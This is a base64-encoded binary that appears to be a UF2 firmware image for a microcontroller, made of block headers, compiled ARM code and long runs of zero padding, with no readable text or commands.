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
